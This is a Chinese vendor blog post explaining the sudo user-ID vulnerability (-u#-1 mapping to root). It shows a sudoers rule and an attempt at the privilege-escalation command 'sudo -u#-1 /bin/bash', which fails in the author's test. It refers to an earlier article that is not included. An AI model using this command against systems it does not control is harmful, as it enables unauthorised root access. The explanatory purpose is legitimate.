温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

sudo漏洞实例分析

发布时间:2022-06-01 16:36:58 来源:亿速云 阅读:159 作者:iii 栏目:大数据

本篇内容介绍了“sudo漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

sudo介绍

大部分开发运维对这个命令都非常熟悉,不过考虑到有效读者不了解我还是简单介绍下。

sudo 指“超级用户”。作为一个系统命令,其允许其它非 root 用户以特殊权限来运行程序或命令,而无需切换使用环境。举个例子:

我下面已一个普通用户在 /usr/local/ 目录下新建一个目录,直接运行会报没有权限的错误,

user1@user1:/usr/local$ mkdir test
mkdir: cannot create directory ‘test’: Permission denied
 

必须要这样才可以,

user1@user1:/usr/local$ sudo mkdir test
user1@user1:/usr/local$ ls
bin  etc  games  include  lib  man  sbin  share  src  test
 

一个普通用户要想使用sudo,必须有管理员(root)配置 sudoers 文件,对用户的权限进行定义。类似下面这样:

# User privilege specification
user2    ALL=(ALL:ALL) ALL
 

上述命令中:

  • user2 表示用户名

  • 第一个 ALL 指示允许从任何终端、机器访问 sudo

  • 第二个 (ALL:ALL) 指示 sudo 命令被允许以任何用户身份执行,后面那个ALL是用户所在的群组

  • 第三个 ALL 表示所有命令都可以作为 root 执行

如果没有加这个配置,执行的时候会报如下的错误:

user2@pony:/home$ sudo mkdir test2
[sudo] password for user2: 
user2 is not in the sudoers file.  This incident will be reported.
   

如何利用漏洞

我使用的linux版本是 Ubuntu 18.04.3 LTS 。

首先我配置用户 user2 的权限,

# User privilege specification
user2    ALL=(ALL,!root) /bin/bash
 

这个配置的意思是,user2用户可以用任何用户(除了root)执行 /bin/bash 命令。

然后我试着执行,

user2@pony:~$ sudo -u#-1 /bin/bash
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
 

什么鬼,好像没有啥问题啊,直接报错了,并没有切换到 root 用户,再试着执行,

user2@pony:~$ sudo -u#-1 id -u
sudo: unknown user: #-1
sudo: unable to initialize policy plugin

也没有任何问题啊,那这个漏洞究竟该怎么复现呢??

按照上面文章的说法,之所以会产生这个漏洞,是因为将用户 ID 转换为用户名的函数会将 -1(或无效等效的 4294967295)误认为是 0,而这正好是 root 的用户 ID 。

“sudo漏洞实例分析”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注亿速云网站,小编将为大家输出更多高质量的实用文章!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI